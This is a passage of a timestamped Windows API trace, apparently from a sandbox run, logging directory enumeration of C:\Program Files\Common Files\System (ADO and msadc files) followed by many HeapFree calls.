ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0286.773] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81f28 [0286.773] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0286.774] FindClose (in: hFindFile=0x3e81f28 | out: hFindFile=0x3e81f28) returned 1 [0286.774] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0286.774] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0286.775] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0286.776] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0286.777] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0286.777] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0286.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.777] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0286.777] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e819a8 [0286.777] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.777] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0286.778] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0286.778] FindClose (in: hFindFile=0x3e819a8 | out: hFindFile=0x3e819a8) returned 1 [0286.778] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.778] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0286.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81fa8 [0286.779] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81d68 [0286.779] FindNextFileW (in: hFindFile=0x3e81d68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.780] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.780] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.781] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.781] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.782] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.783] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.785] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.785] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.785] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.786] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.787] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.790] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.791] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.791] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.792] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.792] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.793] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.795] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.797] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.987] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.989] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0286.989] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.989] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.991] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.994] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.994] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.996] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.997] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.999] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0287.002] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0287.005] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.466] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.469] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0288.469] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.469] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.628] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.629] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.631] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.631] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.635] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.636] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.639] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.772] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.772] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.775] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.775] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.775] 